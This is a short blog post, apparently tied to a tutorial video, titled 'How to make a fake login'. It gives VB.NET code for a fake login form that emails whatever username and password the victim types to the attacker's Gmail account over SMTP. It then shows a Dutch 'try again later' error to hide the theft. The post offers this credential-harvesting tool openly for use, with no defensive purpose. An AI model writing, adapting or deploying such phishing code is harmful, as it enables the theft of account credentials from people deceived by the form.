How to make a fake login. Download code : www.mediafire.com Codes : Imports System.Net.Mail If TextBox1.Text = "" Then MsgBox("Username Is Missing") If TextBox2.Text = "" Then MsgBox("Password Is Mising") Else End If End If Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("You Gmail", "Your Gmail password") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("You Gmail") mail.To.Add("Your Gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text smtpServer.Send(mail) MsgBox("Probeer later opnieuw!", MsgBoxStyle.Critical, "ERROR!") Subscribe Rate Comment!
Tags: fake, login, Dark, Khay
No comments:
Post a Comment